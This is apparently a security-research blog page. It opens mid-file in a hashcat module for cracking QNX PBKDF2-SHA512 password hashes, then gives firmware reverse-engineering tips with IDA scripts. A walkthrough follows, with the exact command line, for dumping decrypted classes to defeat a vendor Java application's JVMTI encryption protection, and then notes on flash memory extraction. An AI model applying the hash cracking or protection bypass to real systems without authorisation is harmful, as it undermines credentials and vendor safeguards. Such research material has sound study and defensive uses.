const char *module_st_pass        (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return ST_PASS;         }

typedef struct pbkdf2_sha512
{
  u32 salt_buf[64];

} pbkdf2_sha512_t;

typedef struct pbkdf2_sha512_tmp
{
  u64  ipad[8];
  u64  opad[8];

  u64  dgst[16];
  u64  out[16];

} pbkdf2_sha512_tmp_t;

u64 module_esalt_size (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra)
{
  const u64 esalt_size = (const u64) sizeof (pbkdf2_sha512_t);

  return esalt_size;
}

u64 module_tmp_size (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra)
{
  const u64 tmp_size = (const u64) sizeof (pbkdf2_sha512_tmp_t);

  return tmp_size;
}

static const int ROUNDS_QNX = 4096;
static const int HASH_SIZE = 64;

int module_hash_decode (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED void *digest_buf, MAYBE_UNUSED salt_t *salt, MAYBE_UNUSED void *esalt_buf, MAYBE_UNUSED void *hook_salt_buf, MAYBE_UNUSED hashinfo_t *hash_info, const char *line_buf, MAYBE_UNUSED const int line_len)
{
  u64 *digest = (u64 *) digest_buf;
    
  pbkdf2_sha512_t *pbkdf2_sha512 = (pbkdf2_sha512_t *) esalt_buf;

  hc_token_t token;

  memset (&token, 0, sizeof (hc_token_t));

  token.token_cnt  = 4;

  // @digest@hash@salt
  // @digest,iterations@hash@salt
  
  token.sep[0]     = '@';
  token.len[0]     = 0;
  token.attr[0]    = TOKEN_ATTR_FIXED_LENGTH;

  token.sep[1]     = '@';
  token.len_min[1] = 1;
  token.len_max[1] = 8;
  token.attr[1]    = TOKEN_ATTR_VERIFY_LENGTH;

  token.sep[2]     = '@';
  token.len_min[2] = 64;
  token.len_max[2] = 100;
  token.attr[2]    = TOKEN_ATTR_VERIFY_LENGTH | TOKEN_ATTR_VERIFY_BASE64A;

  token.sep[3]     = '@';
  token.len_min[3] = 32;
  token.len_max[3] = 60;
  token.attr[3]    = TOKEN_ATTR_VERIFY_LENGTH | TOKEN_ATTR_VERIFY_BASE64A;

  const int rc_tokenizer = input_tokenizer ((const u8 *) line_buf, line_len, &token);

  if (rc_tokenizer != PARSER_OK) return (rc_tokenizer);

  // check hash type

  if (token.buf[1][0] != 'S') return (PARSER_SIGNATURE_UNMATCHED);

  // check iter

  u32 iter = ROUNDS_QNX;

  if (token.len[1] > 1)
  {
    if (token.buf[1][1] != ',') return (PARSER_SEPARATOR_UNMATCHED);

    iter = hc_strtoul ((const char *) token.buf[1] + 2, NULL, 10);
  }

  // iter++; the additional round is added in the init kernel

  salt->salt_iter = iter - 1;

  const u8 *hash_pos = token.buf[2];
  const int hash_len = token.len[2];

  int decoded_len;
  u8 tmp_buf[512];
  memset (tmp_buf, 0, sizeof (tmp_buf));

  decoded_len = base64_decode (base64_to_int, hash_pos, hash_len, tmp_buf);
  if (decoded_len != HASH_SIZE) {
    return (PARSER_SALT_LENGTH);
  }
  memcpy (digest, tmp_buf, 64);
  digest[0] = byte_swap_64 (digest[0]);
  digest[1] = byte_swap_64 (digest[1]);
  digest[2] = byte_swap_64 (digest[2]);
  digest[3] = byte_swap_64 (digest[3]);
  digest[4] = byte_swap_64 (digest[4]);
  digest[5] = byte_swap_64 (digest[5]);
  digest[6] = byte_swap_64 (digest[6]);
  digest[7] = byte_swap_64 (digest[7]);

  // salt

  const u8 *salt_pos = token.buf[3];
  const int salt_len = token.len[3];

  memset (tmp_buf, 0, sizeof (tmp_buf));

  decoded_len = base64_decode (base64_to_int, salt_pos, salt_len, tmp_buf);

  if (decoded_len < 1) {
    return (PARSER_SALT_LENGTH);
  }
  else
  {
    memcpy (pbkdf2_sha512->salt_buf, tmp_buf, decoded_len);
    salt->salt_buf[0] = pbkdf2_sha512->salt_buf[0];
    salt->salt_buf[1] = pbkdf2_sha512->salt_buf[1];
    salt->salt_buf[2] = pbkdf2_sha512->salt_buf[2];
    salt->salt_buf[3] = pbkdf2_sha512->salt_buf[3];
    salt->salt_buf[4] = pbkdf2_sha512->salt_buf[4];
    salt->salt_buf[5] = pbkdf2_sha512->salt_buf[5];
    salt->salt_buf[6] = pbkdf2_sha512->salt_buf[6];
    salt->salt_buf[7] = pbkdf2_sha512->salt_buf[7];
    salt->salt_len = decoded_len;
  }
  return (PARSER_OK);
}

int module_hash_encode (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const void *digest_buf, MAYBE_UNUSED const salt_t *salt, MAYBE_UNUSED const void *esalt_buf, MAYBE_UNUSED const void *hook_salt_buf, MAYBE_UNUSED const hashinfo_t *hash_info, char *line_buf, MAYBE_UNUSED const int line_size)
{
  return snprintf (line_buf, line_size, "%s", hash_info->orighash);
}

void module_init (module_ctx_t *module_ctx)
{
  module_ctx->module_context_size             = MODULE_CONTEXT_SIZE_CURRENT;
  module_ctx->module_interface_version        = MODULE_INTERFACE_VERSION_CURRENT;

  module_ctx->module_attack_exec              = module_attack_exec;
  module_ctx->module_benchmark_esalt          = MODULE_DEFAULT;
  module_ctx->module_benchmark_hook_salt      = MODULE_DEFAULT;
  module_ctx->module_benchmark_mask           = MODULE_DEFAULT;
  module_ctx->module_benchmark_charset        = MODULE_DEFAULT;
  module_ctx->module_benchmark_salt           = MODULE_DEFAULT;
  module_ctx->module_build_plain_postprocess  = MODULE_DEFAULT;
  module_ctx->module_deep_comp_kernel         = MODULE_DEFAULT;
  module_ctx->module_deprecated_notice        = MODULE_DEFAULT;
  module_ctx->module_dgst_pos0                = module_dgst_pos0;
  module_ctx->module_dgst_pos1                = module_dgst_pos1;
  module_ctx->module_dgst_pos2                = module_dgst_pos2;
  module_ctx->module_dgst_pos3                = module_dgst_pos3;
  module_ctx->module_dgst_size                = module_dgst_size;
  module_ctx->module_dictstat_disable         = MODULE_DEFAULT;
  module_ctx->module_esalt_size               = module_esalt_size;
  module_ctx->module_extra_buffer_size        = MODULE_DEFAULT;
  module_ctx->module_extra_tmp_size           = MODULE_DEFAULT;
  module_ctx->module_extra_tuningdb_block     = MODULE_DEFAULT;
  module_ctx->module_forced_outfile_format    = MODULE_DEFAULT;
  module_ctx->module_hash_binary_count        = MODULE_DEFAULT;
  module_ctx->module_hash_binary_parse        = MODULE_DEFAULT;
  module_ctx->module_hash_binary_save         = MODULE_DEFAULT;
  module_ctx->module_hash_decode_postprocess  = MODULE_DEFAULT;
  module_ctx->module_hash_decode_potfile      = MODULE_DEFAULT;
  module_ctx->module_hash_decode_zero_hash    = MODULE_DEFAULT;
  module_ctx->module_hash_decode              = module_hash_decode;
  module_ctx->module_hash_encode_status       = MODULE_DEFAULT;
  module_ctx->module_hash_encode_potfile      = MODULE_DEFAULT;
  module_ctx->module_hash_encode              = module_hash_encode;
  module_ctx->module_hash_init_selftest       = MODULE_DEFAULT;
  module_ctx->module_hash_mode                = MODULE_DEFAULT;
  module_ctx->module_hash_category            = module_hash_category;
  module_ctx->module_hash_name                = module_hash_name;
  module_ctx->module_hashes_count_min         = MODULE_DEFAULT;
  module_ctx->module_hashes_count_max         = MODULE_DEFAULT;
  module_ctx->module_hlfmt_disable            = MODULE_DEFAULT;
  module_ctx->module_hook_extra_param_size    = MODULE_DEFAULT;
  module_ctx->module_hook_extra_param_init    = MODULE_DEFAULT;
  module_ctx->module_hook_extra_param_term    = MODULE_DEFAULT;
  module_ctx->module_hook12                   = MODULE_DEFAULT;
  module_ctx->module_hook23                   = MODULE_DEFAULT;
  module_ctx->module_hook_salt_size           = MODULE_DEFAULT;
  module_ctx->module_hook_size                = MODULE_DEFAULT;
  module_ctx->module_jit_build_options        = MODULE_DEFAULT;
  module_ctx->module_jit_cache_disable        = MODULE_DEFAULT;
  module_ctx->module_kernel_accel_max         = MODULE_DEFAULT;
  module_ctx->module_kernel_accel_min         = MODULE_DEFAULT;
  module_ctx->module_kernel_loops_max         = MODULE_DEFAULT;
  module_ctx->module_kernel_loops_min         = MODULE_DEFAULT;
  module_ctx->module_kernel_threads_max       = MODULE_DEFAULT;
  module_ctx->module_kernel_threads_min       = MODULE_DEFAULT;
  module_ctx->module_kern_type                = module_kern_type;
  module_ctx->module_kern_type_dynamic        = MODULE_DEFAULT;
  module_ctx->module_opti_type                = module_opti_type;
  module_ctx->module_opts_type                = module_opts_type;
  module_ctx->module_outfile_check_disable    = MODULE_DEFAULT;
  module_ctx->module_outfile_check_nocomp     = MODULE_DEFAULT;
  module_ctx->module_potfile_custom_check     = MODULE_DEFAULT;
  module_ctx->module_potfile_disable          = MODULE_DEFAULT;
  module_ctx->module_potfile_keep_all_hashes  = MODULE_DEFAULT;
  module_ctx->module_pwdump_column            = MODULE_DEFAULT;
  module_ctx->module_pw_max                   = MODULE_DEFAULT;
  module_ctx->module_pw_min                   = MODULE_DEFAULT;
  module_ctx->module_salt_max                 = MODULE_DEFAULT;
  module_ctx->module_salt_min                 = MODULE_DEFAULT;
  module_ctx->module_salt_type                = module_salt_type;
  module_ctx->module_separator                = MODULE_DEFAULT;
  module_ctx->module_st_hash                  = module_st_hash;
  module_ctx->module_st_pass                  = module_st_pass;
  module_ctx->module_tmp_size                 = module_tmp_size;
  module_ctx->module_unstable_warning         = MODULE_DEFAULT;
  module_ctx->module_warmup_disable           = MODULE_DEFAULT;
}

References

Serious Security : stocker vos mots de passe en toute sécurité

https://github.com/openwall/john/blob/bleeding-jumbo/src/sha2.c#L578-L595

https://github.com/hashcat/hashcat

General Tips for Firmware Reverse Engineering

Mon, 15 Aug 2022 21:39:11 +0800

Preface

These notes were originally compiled years ago as a quick reference. They are somewhat fragmented and do not provide step-by-step procedures, but I continue to update them over time.

In this context, “firmware” refers to raw dumps extracted from storage chips or vendor upgrade packages.

Characteristics of reversing raw firmware:

Acquisition difficulty: Firmware files can be hard to obtain.
Limited resources: There are few public write-ups; you mostly rely on experience and exploration.
No direction execution: You cannot run the firmware directly, making debugging difficult.
Missing symbols: Most symbols are stripped; you often need to manually define code regions for disassembly.
Low obfuscation: Code obfuscation is rarely applied.

Firmware Categories

Based on system architecture, firmware can be broadly categorized into SoC firmware and MCU firmware.

SoC Firmware: Typically consists of a processing unit plus peripherals. The processor’s built-in BootROM loads a bootloader from external Flash; the data in that external Flash is what we consider the firmware. SoC devices typically use SPI NOR flash, NAND flash, or eMMC. SPI flash often stores the bootloader, while NAND flash stores the system kernel and filesystem. For the latter, extraction of the filesystem is key; for the former, the focus is on the boot process. Firmware in SPI flash is often composed of multiple distinct parts, so you cannot simply load a raw dump into IDA Pro and expect it to work.
MCU Firmware: Usually monolithic or split into very few regions. For MCUs using only internal storage, the layout is generally Loader + Application. For MCUs with external storage, you will see an internal Loader + Application, and the external Flash is typically not heavily partitioned.

Extracting Firmware

For NAND flash or other specialized storage media, extraction can require significant effort. Firmware from niche or proprietary MCUs can also be notoriously difficult to extract.

Finding the Load Base Address

When reversing firmware, the first step is usually to determine the load base address. Once the correct base is established, IDA can automatically resolve many cross-references, including strings and jump tables (jpt).

(These are rough notes; ignore them if they don’t apply to your specific case.)

Methods to determine the load base address:

Chip Datasheet: Use the memory map and boot-mode pin configuration to locate the base address.
Public Code: Find open-source code for the chip (e.g., a compatible bootloader) and infer the base address from linker scripts or definitions.
Previous-Stage Loader: Reverse the previous-stage loader to find where it loads the next stage (e.g., U-Boot environment variables or code often contain base address info).
Vector Table (IVT): Interrupt vectors often contain absolute addresses; use them to make an educated guess.
String References: If there is no interrupt vector table, look for pointers to strings that use absolute addresses.
Brute-Force Analysis: Extract all strings, then find all potential reference sites in the code. The base address that yields the most valid cross-references is likely correct.
Runtime Dump: If you have debug access (JTAG/SWD/UART), dump the memory at runtime and see where the firmware header resides.
Pattern Matching: Consider “round” addresses like 0x????0000. Compare the destination addresses of pointers/jumps with the distribution of strings in the file. If the lower bits match, the difference reveals the offset between the current base and the real base.
IDA Trick: If the last 4 hex digits of an address offset match the last 4 hex digits of a generic pointer (DCD) value, then the high bits of that pointer value likely represent the base address’s high bits.

Analyzing Layout

Start with hexdump to visualize the data distribution, then use binwalk to identify the CPU instruction set architecture (ISA) and opcode distribution. If it remains unclear, use a hex editor to analyze byte-frequency distribution.

If the data appears compressed (e.g., high entropy), look for specific markers. For example, Lempel-Ziv-Welch (LZW) compression often produces many 0x9D bytes. Check the bytes following 0x9D to see if the stream matches the LZW structure. Reference: List of file signatures.

Other techniques:

Endianness: Search for continuous strings sequences like 0123456789abcdefg. Some systems (e.g., certain printers) use dual flash chips where one holds “1267” and the other “3489”. You may need to interleave and reconstruct the binary using the smallest byte block size.
Magic Values: If source code is available, search for magic values from the source code within the firmware to reconstruct the layout.
Differential Analysis: Compare firmware across different versions, or compare the same version with slightly different contents (control-variable method).
Block Similarity: If you only have a single firmware sample, analyze block similarity to locate magic numbers and infer the system structure.

Avoiding Duplicate Regions

I developed a firmware security tool called UFA - Universal Firmware Analysis to help with this.

(Note: I implemented this feature in late 2020.)

Some firmware images contain redundant system copies (e.g., for A/B updates). With UFA (or other tools that visualize entropy), you can quickly identify duplicated regions and avoid analyzing the same code twice.

Continuous Files & Partially Compressed Files

Partially compressed systems present significant challenges. In day-to-day reversing, you might extract a binary and try to analyze it directly. You see some strings and symbols, but IDA fails to analyze the code flow properly. An entropy graph might reveal that parts of the file are code, while others are compressed data, interspersed with constants (like SHA-512 constants).

Normal compressed data has a constantly high entropy (close to 1). In system firmware, it is unusual to see large sections of readable strings separated by large blocks of compressed data if it were a standard file system. By analyzing the previous-stage loader, you can often confirm if the binary is a continuous file with partial compression.

Partial Encryption vs. Partial Compression

When partial encryption and partial compression are combined, analysis becomes extremely confusing.

IoT devices are often resource-constrained. To balance security and user experience (boot time), vendors may use partial encryption. For example, a SquashFS image might fail to unpack. An inexperienced reverser might assume the file is corrupted. A clearer analysis might reveal a decryption routine; however, even after decryption, unpacking might still fail. Since SquashFS is compressed by definition, “partial encryption” is harder to spot visually because both look like high-entropy noise.

However, partial encryption differs from full encryption:

Partial Compression/Encryption: Compressed data entropy usually fluctuates within a high range. Regions with fluctuations might indicate “unencrypted leftovers” or metadata inside an otherwise partially encrypted area. (See below)

Full Encryption: Fully encrypted data tends to have consistently high randomness, often appearing as a flat, high line on the entropy graph.

Identifying Functions

If the base address is incorrect, IDA often cannot accurately detect code regions or function prologues. In such cases, you can try to blindly recover potential functions to get a foothold.

def remake_func(opcodes, lastbytes, end_ea = ida_ida.inf_get_max_ea()):
    ea = 0x0
    lastbytes_len = len(lastbytes)
    while (ea >= 0):
        ea = ida_bytes.bin_search(ea + 1, end_ea, opcodes, None, 1, ida_bytes.BIN_SEARCH_FORWARD | ida_bytes.BIN_SEARCH_NOBREAK | ida_bytes.BIN_SEARCH_NOSHOW)
        if ea == BADADDR : break
        else:
            print("get_bytes: ", hex(ea-lastbytes_len), ida_bytes.get_bytes((ea-lastbytes_len), lastbytes_len))
            if ida_bytes.get_bytes((ea-lastbytes_len), lastbytes_len) == lastbytes:
                add_func(ea, BADADDR)
                print("0x{:x}: {}".format(ea, GetDisasm(ea)))

# Example usage: Searching for common function prologues/epilogues
remake_func(b'\x55\x89\xe5', b'\xc3', 0xFF000000)
remake_func(b'\x55\x31\xC0', b'\xc3', 0xFF000000)
remake_func(b'\x55\x89\xe5', b'\xc2\x04\x00', 0xFF000000)

Recovering Common Functions

Proprietary MCU firmware rarely uses standard external libraries; most functionality is statically linked or implemented from scratch. You should first identify frequently used standard functions to build a map of the firmware’s logic:

memcpy
memset
memcmp
mmap
printf
strcpy
kfree / malloc

For firmware based on open-source projects, you can use source-based signatures.

Script to find the most-referenced functions:

from idaapi import *
funcs = Functions()
for f in funcs:
    name = Name(f)
    func_xref_amount = len(list(XrefsTo(f)))
    if func_xref_amount > 30:
        print "%s %d" % (name, func_xref_amount)

For open-source MCU firmware, compile your own build using the same toolchain and version if possible. Generate a MAP file or symbols, use FLIRT to create signatures, and then match them against the target firmware to recover function names.

Finding Functions with String References

For firmware where the base address is not aligned to a standard boundary (like 0x1000), guessing the base is difficult. A useful trick involves inspecting string global variables.

First, look at the list of strings in IDA and note the sequence of their offsets.

On x86 architectures, arguments for static variables are often pushed onto the stack. Searching for push instructions is often more effective than searching for mov. In IDA, perform a binary search for the opcode push 0x... (or search for the immediate values). Filter for values ending with specific patterns derived from the string offsets (e.g., 0x********62, 0x********97).

As shown below, if the regularity of the immediate values in the code matches the distance between the strings, the correct base address becomes obvious.

Base calculation example: 0xFEFA5762 (Immediate Value) - 0x22F62 (String Offset) = 0xFEF82800 (Base Address)

Fixing Function Cross-References

If you cannot identify the caller of a function, it may be referenced via a jump table. Globally search for immediate values equal to the function’s address.

Note: Sometimes addresses are stored as relative offsets; you must subtract the base address to find the stored value.
Split Addresses: Sometimes a 32-bit address is constructed from high 16 bits and low 16 bits:

MOV Rx, #HighAddr
MOVT Rx, #LowAddr

Niche Architectures

IDA Pro is excellent at disassembling machine code and generating call graphs for common architectures. However, for niche architectures like NEC V850, you often need to manually identify function entry points. Many cross-references will not be automatically recognized and must be created manually.

Another challenge is chip-specific register layouts: RAM, peripheral buses, interface registers, interrupt controllers, etc.

Solution: Consult the datasheet. If the datasheet is not public, look for Board Support Packages (BSPs) or scatter files code for similar chips.
IDA Config: Add platform-specific configurations to IDA Pro’s cfg files (address map, register names, etc.) to aid analysis.

Reversing by Comparing with Source

If you cannot understand a specific piece of code, find an open-source project with similar functionality. Compile it for the same platform, load the result into IDA Pro, and compare the assembly against your target. This comparative analysis often clarifies the code’s intent.

Emulation

If you face complex obfuscated or mathematical code but only need the input/output behavior, emulate it using Unicorn Engine. It supports common architectures like ARM, MIPS, and PPC, allowing you to execute the code slice in isolation.

Reversing Specific Features

Crypto libraries often rely on specific constant tables (S-boxes, initialization vectors). By searching for these constants, you can identify the algorithms used (AES, SHA, CRC) and locate the functions that use them. Encryption, hashing, and checksum routines are critical checkpoints commonly found during boot, firmware upgrade, and communication phases.

Tools: Use the FindCrypt plugin to quickly locate these constants.
Protocols: For SD/SATA protocols, search for specific Command (CMD) values.
Vehicle Networks: For CAN bus analysis, search for the memory-mapped addresses of CAN registers.

IDA Pro “Problems” Tips

In IDA Pro, navigate to View > Open subviews > Problems, and look for:

NONAME
BOUNDS

These items often indicate an instruction using an immediate value that points outside the defined internal segments. These values could be:

Peripheral register addresses.
Valid memory addresses if the firmware base address were set correctly.
Addresses belonging to an external binary (common in bootloaders or multi-stage firmwares).

Tip: If Firmware A’s base is unknown, but you see references to addresses that look like they belong to Firmware A (whose range you know from a different stage), references in Firmware B can help you calculate Firmware A’s base.

Case Study

Consider an x86 firmware with an unknown base.

Check the Problems view and filter for BOUNDS.
You see many call instructions using relative addressing (e.g., near ptr).
Address 0x7A10A appears. If the file size is smaller than 0x40000, 0x7A10A is clearly invalid as a raw offset—it implies a base address is missing.

Clicking one instance reveals that 0xFEF84DE0 is passed as an argument to the function at 0x7A10A. This is likely a global variable address, not a register.

Using the String Reference trick (described earlier), you determine the base is 0xFEF82800.
After rebasing, IDA identifies more functions.
The address 0x7A10A updates to 0xFEFFC90A. If this is still outside the file’s mapped memory, it likely points to an external binary (e.g., a shared library or common boot code).
If you know from another binary that printf is at 0xFEFFC90A, you can map that external binary into your current IDA database.

Adding a Segment in IDA: Be careful; the UI can be tricky.

Press Shift+F7 to open the Segments window.
Right-click -> Add segment.
Set the Start address to the external binary’s base.

Verify there are no overlaps with existing segments.

Load the external binary: File -> Load file -> Additional binary file…
Set the Loading offset to the base address of the new segment.

Bypassing JVMTI-Based Encryption Protection

Mon, 28 Jun 2021 21:39:11 +0800

Research Process

While researching a specific vehicle recently, I encountered a Windows application used to connect to a dealer intranet.

After installation, the application directory contained both .jar files and an .exe executable.

Upon executing start.exe, I observed two Java processes launching:

C:\LC\Elsapro\lib\jre\bin\java.exe -agentlib:C:\LC\Elsapro\lib\jna\jvmprotect -Djava.library.path=C:\LC\Elsapro\lib\jna -Dfile.encoding=utf-8 -classpath C:\LC\Elsapro -cp C:\LC\Elsapro\ElsaPro.jar com.qqw.lcst.softp.superc.v5.app.epweb.gui.OptGui

I surmised that the second process was likely an embedded browser to display the UI, while the first process contained the core logic I was interested in.

Opening the main JAR file with jd-gui, I found that many classes displayed an Internal Error, and key classes appeared to be missing. Other Java decompilers yielded similar results.

A quick analysis of start.exe suggested it primarily functioned as a custom ClassLoader, likely handling tasks such as online updates.

From the startup parameters, I noticed the -agentlib flag pointing to jvmprotect. Loading jvmprotect into IDA Pro, I confirmed it functions as a JVMTI agent, leading me to suspect it serves as the decryption module.

JVMTI (Java Virtual Machine Tool Interface) supports a wide range of analytical tools, including those for forensics, debugging, monitoring, thread analysis, and code coverage.

Skimming the JVMTI documentation, I identified three primary export functions that serve as excellent entry points for reverse engineering:

Agent_OnLoad (Called at startup)
Agent_OnAttach (Called when attaching to a running VM)
Agent_OnUnload (Called when the agent is unloaded)

I loaded the agent into IDA Pro, identifying Agent_OnLoad as the entry point. Analyzing raw JNI and JVMTI code can be cumbersome, so I imported a consolidated jvmti_all.h header file to aid the reversing process (though it helped only marginally here, as the callback logic was straightforward and didn’t utilize complex features).

During startup, the agent calls SetEventCallbacks. Subsequently, as classes are loaded, ClassFileLoadHook events are triggered. Each class file content is passed to the registered callback, which decrypts the bytecode and prints logs.

Instead of reverse-engineering the custom decryption algorithm—which can be time-consuming—I decided to dump the decrypted classes directly from memory using a Java Agent.

After reading Talking about Java Instrumentation and related applications by Yilun Fan, I learned that the Instrumentation API is based on JVMTI, meaning it sits at the same layer and can access the modified (decrypted) classes.

Referring to the article How to get dynamically generated class files in Java runtime?, I packaged a custom agent named ClazzDumpAgent.jar.

The parameters used are:

-d: Specifies the dump output path.
-f: Matches the class path prefix to extract.
-r: Indicates the specific package name to filter.

Crucial Note: The order of -agentlib and -javaagent is critical. You must allow the native agent to decrypt the classes before the Java agent attempts to dump them.

C:\LC\Elsapro\lib\jre\bin\java.exe -Xms256m -Xmx512m -XX:MetaspaceSize=256m -XX:MaxMetaspaceSize=512m -agentlib:C:\LC\Elsapro\lib\jna\JvmtiCry -Djava.library.path=C:\LC\Elsapro\lib\jna -javaagent:C:\LC\Elsapro\ClazzDumpAgent.jar=-d=C:\LC\Elsapro\clazzDump\;-f=com/qqw/lcst;-r=lcst -Dfile.encoding=utf-8 -classpath C:\LC\Elsapro -cp C:\LC\Elsapro\ElsaPro.jar com.qqw.lcst.softp.superc.v5.app.epweb.gui.OptGui

Upon executing this command, you can see the classes being dumped immediately after they are decrypted by the protection module.

I then packaged the dumped directory into a zip file and opened it with a Java decompiler. In comparison to the initial attempt, the previously null or missing classes were now visible. However, some classes that initially showed Internal Error were still missing. This is because classes are only decrypted when they are loaded/executed.

By proactively traversing the application’s functionality (i.e., clicking through the UI), I triggered the loading of those specific classes, allowing them to be decrypted and captured in real-time.

I recommend using CFR for decompilation as it generally handles modern Java features better and produces fewer errors than older tools.

cfrd -jar ./decypted.zip ./out

Surprise

References

JDPA Architecture

JVMTI Documentation

Talking about Java Instrumentation and related applications

How to get dynamically generated class files in Java runtime?

JVMTI.h and ClazzDumpAgent Download

Firmware Extraction Series: Firmware Media

Sat, 28 Dec 2019 21:39:11 +0800

What is Firmware?

Firmware, sometimes referred to as a firmware image (or simply “ROM” in mobile communities), resides in Non-Volatile Memory (NVM) and can be both read and written. In embedded systems, the most common NVM types are ROM (Read-Only Memory) and Flash memory. While strictly speaking, “ROM” includes Mask ROM, PROM, EPROM, and EEPROM, modern “mainstream ROM” usually refers to EEPROM integrated within an MCU. Flash memory typically serves as the primary external storage.

In embedded devices, beyond standard NAND or NOR flash chips, you may also encounter eMMC. For expandable storage, devices might use SD cards, CF cards, USB drives, or HDDs. These storage solutions generally follow a controller + storage architecture: a controller bridges the host and the storage medium. As long as you can interact with the controller, you can read or write to the underlying storage.

Devices like eMMC, SD cards, and HDDs expose standard external interfaces, allowing them to be read using standard card readers or programming sockets. In contrast, raw flash chips are managed directly by the SoC (System on Chip) via specific drivers; they lack a generic external interface. However, because these chips are memory-mapped peripherals, you can interact with them if you can access their address space. This is the principle behind techniques like reading firmware via JTAG, IAP (In-Application Programming), or bootloaders (like U-Boot). Theoretically, even if the device’s main controller is non-functional, the firmware can still be recovered directly from the storage chip.

For the purpose of this series, I define “firmware” as the original files containing the operating system and data stored on these media. In embedded security research, firmware extraction is almost always the first—and most critical—step. Without the firmware, further research often hits a dead end. This series aims to systematically share the knowledge and techniques I’ve accumulated over years of performing firmware extraction.

EEPROM vs. NOR vs. NAND Flash

EEPROM typically offers much higher endurance (erase/write cycles) than Flash memory. Combined with small package sizes and low write/erase power consumption, EEPROM is often the preferred choice for storing configuration data, particularly in automotive applications.

For high-performance storage, Flash memory is the standard. There are two main types:

NOR Flash: Supports XIP (eXecute In Place) and offers fast read speeds, but provides slower write and erase operations. It supports random access, making it ideal for code execution.
NAND Flash: Accessed in blocks rather than randomly. It offers significantly higher capacity, higher throughput, and lower cost per bit, but generally has lower reliability and requires complex management.

To communicate with these media, you must speak their protocols:

EEPROM: Typically uses I2C or SPI (Serial Peripheral Interface).
NOR Flash: Serial NOR usually uses SPI; Parallel NOR uses a parallel bus. Protocol standards include JEDEC SFDP (JESD216) for SPI and JEDEC CFI (JESD68) for parallel NOR.
NAND Flash: Uses the Raw NAND protocol, with most modern devices adhering to the ONFI (Open NAND Flash Interface) standard.

Note: JEDEC (Joint Electron Device Engineering Council) defines standards that allow software to query a Flash chip’s manufacturer and device IDs to determine its size and capabilities. However, not all chips strictly adhere to these standards.

NOR Flash Packages

NOR flash is available in parallel and serial variants.

Serial NOR: Commonly packaged as SOP (Small Outline Package) and uses SPI.
Parallel NOR: Typically uses TSOP (Thin Small Outline Package) like TSOP-56, or BGA (Ball Grid Array) like TFBGA-56 and LFBGA-64.

NOR Flash Pin Assignment

Because NOR flash supports random access, it functions similarly to SRAM. Below is the pinout for a parallel NOR flash chip. Manually wiring these (using “flying leads”) can be tedious due to the high pin count.

Symbol	Pin Name	Function
A[MAX:0]	Address	Address bits for read/write operations
DQ[7:0]	Data I/O	Inputs/Outputs for commands and data
DQ[14:8]	Data I/O	Inputs/Outputs for commands and data
DQ15/A-1	Data I/O	Data or address input (for x8/x16 mode switching)
BYTE#	Byte/Word Select	Selects 8-bit or 16-bit data organization
CE#	Chip Enable	Activates the device
RE#	Read Enable	Data is valid on the falling edge of this pulse
OE#	Output Enable	Drives data onto the bus when LOW; high-impedance when HIGH
WE#	Write Enable	Triggers write operations
WP#	Write Protect	Prevents unintended program/erase operations when LOW
RST#	Reset	Resets the device
RY/BY#	Read/Busy	Output LOW during operations; HIGH when ready. Requires a pull-up resistor (open-drain).
Vcc	Power	Supply Voltage (typically 3.3V or 1.8V)
Vss	Ground	Ground
NC	No Connection	Unconnected pin

TSOP-56 Pinout:

NAND Flash

NAND flash is a type of non-volatile storage optimized for high density. Embedded devices commonly use SLC (Single Level Cell) NAND, which stores 1 bit per cell.

Flash memory uses a floating-gate transistor structure. Electrons are trapped in an insulated floating gate to store data. A key characteristic of Flash is that it cannot support in-place overwrites. Writing involves capturing electrons, but “erasing” involves releasing them. To erase, a high voltage is applied to pull electrons from the floating gate. Because the source connections are grouped, erasure must happen in large blocks, not individual bytes.

NAND Packages

The ONFI standard defines several common packages for NAND flash, typically using SMT (Surface Mount Technology).

TSOP-48:

BGA-63:

NAND Flash Pin Assignment

NAND flash uses a multiplexed parallel I/O interface, typically 8-bit (x8). Pins marked with # are active-low and usually require pull-up resistors.

Symbol	Pin Name	Function
I/O x	Data I/O	Used for command, address, and data input/output. High-impedance when disabled.
CLE	Command Latch Enable	When HIGH, commands are latched on the rising edge of WE#.
ALE	Address Latch Enable	When HIGH, addresses are latched on the rising edge of WE#.
CE#	Chip Enable	Activates the device. When marked high, the device enters standby.
RE#	Read Enable	Data is driven onto the bus on the falling edge of this pulse.
WE#	Write Enable	Latches data/address/commands on the rising edge.
WP#	Write Protect	Hardware write protection.
R/B#	Read/Busy	Indicates device status. LOW = Busy; HIGH = Ready. Open-drain output (requires pull-up).
Vcc	Power	Supply Voltage (3.3V / 1.8V)
Vss	Ground	Ground
NC	No Connection	Unconnected

Array Organization

NAND is organized hierarchically. Below is the organization of an 8-bit NAND chip from ESMT:

Page: 2048 bytes (Data) + 64 bytes (Spare/OOB)
Block: 64 Pages
Device: 1024 Blocks
Total Capacity: 1056 Mbits (128 MB Data + 4 MB Spare)

Tools for Reading Firmware

For non-expandable storage (soldered chips), reading methods fall into three categories:

Chip-off (Offline): Desolder the chip and read it using a dedicated programmer and socket.
- Pros: Direct access, works if the device is dead.
- Cons: Higher cost (hardware), potential for damage, requires handling ECC/bad blocks manually.
In-System / In-Circuit (Online): Connect external tools to the PCB to read the chip without desoldering.
- Methods: SoC debug interfaces (JTAG/SWD) or clamping directly to the storage chip pins (e.g., using a test clip).
- Tools: J-Link, USBDM, Bus Pirate, or custom harnesses.
Internal Backup (Software): Gain shell access (e.g., via UART or partial exploit) and use system tools (dd, cat, nanddump) to dump the firmware partitions.

Tip: You don’t always need expensive programmers. For common protocols, a microcontroller (STM32, AVR) or a Raspberry Pi can often be repurposed as a dumper.

Architecture: How Embedded Devices Use Flash

NOR Flash is similar to standard RAM: it supports random access. This enables XIP (eXecute In Place), allowing the CPU to fetch and execute instructions directly from the flash memory. This makes NOR ideal for storing the bootloader or BIOS, which must run immediately upon power-up.

NAND Flash, by contrast, does not support XIP. The CPU cannot execute code directly from NAND. Therefore, the very first stage of boot code cannot reside solely on NAND.

